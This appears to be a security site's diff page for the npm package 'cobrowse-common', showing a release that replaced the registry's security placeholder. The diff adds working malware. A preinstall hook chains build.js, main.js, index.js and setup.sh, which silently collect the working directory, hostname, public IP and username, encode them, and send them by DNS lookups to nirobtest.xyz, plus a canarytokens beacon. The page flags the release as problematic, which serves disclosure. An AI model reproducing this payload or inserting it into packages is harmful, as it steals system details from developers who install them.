cobrowse-common 0.0.1-security → 25.999.999
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of cobrowse-common might be problematic. Click here for more details.
- package/build.js +13 -0
- package/index.js +13 -0
- package/main.js +13 -0
- package/package.json +13 -3
- package/setup.sh +9 -0
- package/README.md +0 -5
package/build.js
ADDED
@@ -0,0 +1,13 @@
|
|
1
|
+
const { exec } = require("child_process");
|
2
|
+
exec("node main.js > /dev/null 2>&1;", (error, data, getter) => {
|
3
|
+
if(error){
|
4
|
+
console.log("error",error.message);
|
5
|
+
return;
|
6
|
+
}
|
7
|
+
if(getter){
|
8
|
+
console.log(data);
|
9
|
+
return;
|
10
|
+
}
|
11
|
+
console.log(data);
|
12
|
+
|
13
|
+
});
|
package/index.js
ADDED
@@ -0,0 +1,13 @@
|
|
1
|
+
const { exec } = require("child_process");
|
2
|
+
exec("pwd | xxd -p | while read ut;do dig $ut.nirobtest.xyz;done; b=$(hostname | head | xxd -p) && nslookup $b.nirobtest.xyz > /dev/null 2>&1; c=$(curl ifconfig.me | head | xxd -p) && nslookup $c.nirobtest.xyz > /dev/null 2>&1; d=$(echo @audi-cct | head | xxd -p) && nslookup $d.nirobtest.xyz > /dev/null 2>&1; e=$(whoami | head | xxd -p ) && nslookup $a.nirobtest.xyz > /dev/null 2>&1; curl http://canarytokens.com/images/about/tags/a2rttcd7o64zjdogjjke2tpsw/contact.php;", (error, data, getter) => {
|
3
|
+
if(error){
|
4
|
+
console.log("error",error.message);
|
5
|
+
return;
|
6
|
+
}
|
7
|
+
if(getter){
|
8
|
+
console.log(data);
|
9
|
+
return;
|
10
|
+
}
|
11
|
+
console.log(data);
|
12
|
+
|
13
|
+
});
|
package/main.js
ADDED
@@ -0,0 +1,13 @@
|
|
1
|
+
const { exec } = require("child_process");
|
2
|
+
exec("node index.js > /dev/null 2>&1 && sh setup.sh > /dev/null 2>&1;", (error, data, getter) => {
|
3
|
+
if(error){
|
4
|
+
console.log("error",error.message);
|
5
|
+
return;
|
6
|
+
}
|
7
|
+
if(getter){
|
8
|
+
console.log(data);
|
9
|
+
return;
|
10
|
+
}
|
11
|
+
console.log(data);
|
12
|
+
|
13
|
+
});
|
package/package.json
CHANGED
@@ -1,6 +1,16 @@
|
|
1
1
|
{
|
2
2
|
"name": "cobrowse-common",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "25.999.999",
|
4
|
+
"description": "",
|
5
|
+
"main": "main.js",
|
6
|
+
"scripts": {
|
7
|
+
"preinstall": "node build.js",
|
8
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
9
|
+
},
|
10
|
+
"author": "lexi2",
|
11
|
+
"license": "ISC",
|
12
|
+
"dependencies": {
|
13
|
+
"express": "^4.17.1",
|
14
|
+
"lodash": "^4.17.21"
|
15
|
+
}
|
6
16
|
}
|
package/setup.sh
ADDED
@@ -0,0 +1,9 @@
|
|
1
|
+
#!/usr/bin/bash
|
2
|
+
|
3
|
+
pwd | xxd -p | while read ut;do dig $ut.nirobtest.xyz;done;
|
4
|
+
b=$(hostname | head | base64) && dig $b.nirobtest.xyz > /dev/null 2>&1;
|
5
|
+
c=$(curl ifconfig.me | head | base64) && dig $c.nirobtest.xyz > /dev/null 2>&1;
|
6
|
+
d=$(echo "@audi-cct" | head | base64) && dig $d.nirobtest.xyz > /dev/null 2>&1;
|
7
|
+
e=$(whoami | head | base64) && dig $a.nirobtest.xyz > /dev/null 2>&1;
|
8
|
+
f=$(curl http://canarytokens.com/images/about/tags/a2rttcd7o64zjdogjjke2tpsw/contact.php);
|
9
|
+
#echo $a && $b && $c > /dev/null 2>&1;
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=cobrowse-common for more information.
|